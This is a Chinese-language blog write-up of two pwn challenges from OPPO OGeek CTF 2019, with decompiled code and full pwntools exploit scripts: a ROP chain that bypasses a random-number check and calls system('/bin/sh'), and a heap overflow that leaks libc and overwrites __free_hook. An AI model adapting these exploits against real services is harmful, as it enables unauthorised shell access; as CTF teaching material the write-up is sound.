OPPO OGeek CTF 2019 pwn

周末随便玩了一下就做了 2 道题,感觉题目还蛮有意思的。

babyrop

1
2
3
4
5
Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32 位的程式,保护情况如同题目 babyrop,可能就是常规的 rop,程序的逻辑也比较简单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h]
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]

sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}

如果a1 可以控制的话这边有个栈溢出,但是前面的 sub_804871F 又一个 check,过了以后才能到溢出函数。

1
2
3
4
5
6
7
8
9
10
11
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h]

if ( a1 == 127 )
result = read(0, &buf, 0xC8u);
else
result = read(0, &buf, a1);
return result;
}

这个函数会把之前的随机数拿来和我们的输入进行比较,如果相等的话会输出 Correct。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]

memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return v5;
}

开始我以为还是 xman 那个套路,buf 足够大直接覆盖随机数,结果发现不行。buf 在 4c 而随机数在 1c 我们只能输入 0x20 个 bytes。因为是 read,所以可以读 \x00 ,strcmp 遇到 \x00 直接返回 true 。

但是后面那个溢出函数数据读取的大小也是在这个函数中体现的,就是 v5 的值,首先需要我们确定一下 rop payload 的长度。我的 payload 的长度是 0xf5,所以可以把 v5 控制为 0xf6。经过调试直接在 \x00 后面 p32(0xf6f6f6f6) * 3 就可以控制下一个函数 buf 的大小。后面就是常规的 rop 了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
import time
context(log_level = "debug")
#t = process('./babyrop')
t = remote('47.112.137.238', 13337)
ret = 0x8048825
#gdb.attach(t)
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('libc-2.23.so')
payload = '\x00' + p32(0xf6f6f6f6) * 3
t.send(payload)
plt_puts = 0x8048544
t.recvuntil('Correct\n')
#sleep(0.3)
payload1 = cyclic(235) + p32(0x8048574) + p32(ret) + p32(1) + p32(0x804a044) + p32(20)
t.send(payload1)
addr_libc = u32(t.recvn(4)) - libc.symbols['_IO_2_1_stdout_']
sleep(0.3)
log.info('addr_libc: ' + hex(addr_libc))
payload = '\x00' * 4 + p32(0xf6f6f6f6) * 3
t.sendline(payload)
payload2 = cyclic(235) + p32(addr_libc + libc.symbols['system']) + p32(0) + p32(addr_libc + next(libc.search('/bin/sh')))
t.send(payload2)
t.interactive()

bookmanager

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开,先看看漏洞在哪。在申请 text 的时候堆块大小可以由用户控制,但是在 update 时,拿到的堆块固定为 0xff 这样的话就可以溢出,修改下一个堆的结构体。

1
2
3
4
5
6
7
8
9
10
printf("\nHow many chapters you want to write:", &s2);
v7 = read_line();
if ( v7 <= 256 )
{
v2 = *(_QWORD *)(*(_QWORD *)(a1 + 8 * (v5 + 4LL)) + 8 * (i + 4LL));
*(_QWORD *)(v2 + 32) = malloc(v7); // user control malloc size
printf("\nText:");
read_n(&s, 0x100u);
v3 = strlen(&s);
memcpy(*(void **)(*(_QWORD *)(*(_QWORD *)(a1 + 8 * (v5 + 4LL)) + 8 * (i + 4LL)) + 32LL), &s, v3);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ( !strcmp(&s, "Text") )
{
printf("\nSection name:", "Text");
read_n(&s, 0x20u);
while ( v6 <= 9 )
{
if ( *(_QWORD *)(a1 + 8 * (v6 + 4LL)) )
{
while ( v7 <= 9 )
{
if ( *(_QWORD *)(*(_QWORD *)(a1 + 8 * (v6 + 4LL)) + 8 * (v7 + 4LL))
&& !strcmp(&s, *(const char **)(*(_QWORD *)(a1 + 8 * (v6 + 4LL)) + 8 * (v7 + 4LL))) )
{
printf("\nNew Text:");
read_n(*(void **)(*(_QWORD *)(*(_QWORD *)(a1 + 8 * (v6 + 4LL)) + 8 * (v7 + 4LL)) + 32LL), 0xFFu); //here is vuln
printf("\nUpdated", 255LL);
return __readfsqword(0x28u) ^ v9;

然后就是想怎么利用了,前期可以对照的 ida 反汇编出来的 c 来配合 gdb 调试一下,熟悉各个堆的布局,这样会对做题有很大的帮助。

泄漏信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
t.sendlineafter('create: ', '1234abcd')
chapter('1234')
section('1234','1234')
section('1234','5678')
text('1234',0x80,'pppp')
text('5678',0x60,'pppp')
section('1234','dddd')
chapter('aaaa')
section('aaaa','bbbb')
text('bbbb',0x80,'pppp')
delete_t('1234')
text('1234',0x80,'aaaaaaaa')
show()
t.recvn(66)
addr_libc = u64(t.recvn(6).ljust(8,'\x00')) - 0x10 - 88 - 0x3c4b10
log.success('addr_libc: ' + hex(addr_libc))

可以先申请一个 0x80 的 chunk 然后把它 free 掉 ,这样就会进入 unsortedbin ,因为是双向链表,这样第一个进入的话 fd bk 都会指向 libc 中的地址,下次再次申请同样大小的 text 就会把 libc 中的信息携带出来,可以利用这点来泄漏libc。

有了信息泄漏下一步就是找控制程序流的方法了,我们可以布局下一个 chunk 的结构体,配合 update 来达到任意地址写的操作。本来想写 malloc_hook 为 one_gadget 但是 magic 都不能用本地环境下。。。最后还是写 free_hook 为 system 吧,然后把参数写在堆头,这样 free 时就执行了 system(‘/bin/sh’) 了。

1
2
3
update('5678', '/bin/sh\x00'.ljust(0x60,'\x00') + p64(0) + p64(0x41) + 'dddd'.ljust(0x20, '\x00') + p64((addr_libc + 0x3c67a8)))
update('dddd',p64(addr_libc + 0x45390) * 3)
delete_t('5678')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])

#t = remote('192.168.5.184',9999)
t = remote('47.112.115.30', 13337)


def chapter(name):
t.sendlineafter('choice:','1')
t.sendlineafter('name:',str(name))



def section(into,name):
t.sendlineafter('choice:','2')
t.sendlineafter('into:',str(into))
t.sendlineafter('name:',str(name))



def text(into,length,text):
t.sendlineafter('choice:','3')
t.sendlineafter('into:',str(into))
t.sendlineafter('write:',str(length))
t.sendafter('Text:',text)



def delete_t(name):
t.sendlineafter('choice:','6')
t.sendlineafter('name:',str(name))



def show():
t.sendlineafter('choice:','7')




def update(into,context):
t.sendlineafter('choice:','8')
t.sendlineafter('Text):','Text')
t.sendlineafter('name:',into)
t.sendlineafter('New Text:',context)





raw_input()
t.sendlineafter('create: ', '1234abcd')
chapter('1234')
section('1234','1234')
section('1234','5678')
text('1234',0x80,'pppp')
text('5678',0x60,'pppp')
section('1234','dddd')
chapter('aaaa')
section('aaaa','bbbb')
text('bbbb',0x80,'pppp')
delete_t('1234')
text('1234',0x80,'aaaaaaaa')
show()
t.recvn(66)
addr_libc = u64(t.recvn(6).ljust(8,'\x00')) - 0x10 - 88 - 0x3c4b10
log.success('addr_libc: ' + hex(addr_libc))
#text('1234',0x60,cyclic(19) + p64((addr_hook - 0x3c4b10 + 0xf1147)))section('1234','dddd')
update('5678', '/bin/sh\x00'.ljust(0x60,'\x00') + p64(0) + p64(0x41) + 'dddd'.ljust(0x20, '\0') + p64((addr_libc + 0x3c67a8)))
update('dddd',p64(addr_libc + 0x45390) * 3)
delete_t('5678')
t.interactive()
文章作者: Carl Star
文章链接: http://carlstar.club/2019/09/04/oppo/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo